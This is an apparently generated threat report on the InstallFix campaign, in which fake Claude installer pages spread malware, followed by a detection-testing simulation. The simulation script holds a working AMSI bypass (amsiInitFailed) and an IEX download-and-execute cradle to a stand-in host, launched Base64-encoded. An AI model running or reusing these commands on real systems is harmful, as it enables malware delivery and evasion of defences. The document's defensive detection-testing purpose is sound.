InstallFix and Claude Code: How Fake Install Pages Lead to Real Compromise

Summary

The InstallFix campaign spreads malware through malicious Google Ads that imitate Claude AI installer pages. Victims are persuaded to run PowerShell commands that invoke mshta.exe to retrieve a polyglot ZIP and HTA file, which then launches a multi-stage, fileless infection chain. The payload disables SSL validation and AMSI protections, downloads additional code from a victim-specific command-and-control domain, and creates persistence through scheduled tasks. The operation has targeted organizations across multiple industries and regions worldwide.

Investigation

Researchers traced the full execution flow from the fake installer page through mshta.exe, VBScript, and several layers of encoded PowerShell. Deobfuscation showed that the malware generated a unique identifier for each victim and used it to build a host-specific command-and-control URL. Network telemetry revealed outbound communication to multiple malicious domains and IP addresses. Although the final payload was not fully recovered, observed behavior suggested data collection and exfiltration activity.

Mitigation

Defenders should block access to the identified malicious domains and IP addresses and restrict use of mshta.exe and other legacy scripting tools wherever possible. Endpoint security controls should be tuned to detect AMSI bypass attempts and SSL validation tampering. Organizations should also enforce strict URL filtering for Google Ads traffic that leads to software installer pages. User awareness remains critical, especially around the risk of running commands copied from sponsored search results or unverified sources.

Response

Security teams should alert on process chains in which mshta.exe launches cmd.exe, powershell.exe, or script interpreters with suspicious remote URLs. Those events should be correlated with scheduled task creation and outbound connections to the known command-and-control infrastructure. If activity is confirmed, defenders should contain the host, terminate the malicious processes, and remove any persistence mechanisms such as scheduled tasks. A forensic review should then be performed to identify any remaining fileless payload components.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:
  The attacker obtains a malicious PowerShell script via a spear‑phishing link (T1566.002) that downloads a payload from a compromised server. To avoid AMSI detection, the script injects the string AMSI_RESULT_NOT_DETECTED into the process memory, then uses the IEX operator to execute the downloaded code. The entire command is Base64‑encoded and launched with the -EncodedCommand flag, satisfying all three selector strings in the Sigma rule.

  Step‑by‑step:

  1. Download the malicious payload (a simple PowerShell one‑liner that writes a file).
  2. Inject AMSI bypass marker by setting the private static field amsiInitFailed.
  3. Execute the payload via IEX.
  4. Launch the whole chain using powershell.exe -EncodedCommand ….

• Regression Test Script:

  # InstallFix‑style PowerShell attack simulation
  # -------------------------------------------------
  # 1. Define the malicious one‑liner
  $malicious = @"
  `$bypass = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
              .GetField('amsiInitFailed','NonPublic,Static')
  `$bypass.SetValue(`$null,$true)
  IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')
  "@
  
  # 2. Encode the script in UTF‑16LE and then Base64 (PowerShell's requirement)
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious)
  $encoded = [Convert]::ToBase64String($bytes)
  
  # 3. Execute via powershell.exe with -EncodedCommand flag
  $command = "powershell.exe -NoProfile -EncodedCommand $encoded"
  Write-Host "Launching malicious PowerShell..."
  Invoke-Expression $command

• Cleanup Commands:

  # Remove any temporary files and terminate lingering processes
  Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force
  Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
  Write-Host "Cleanup complete."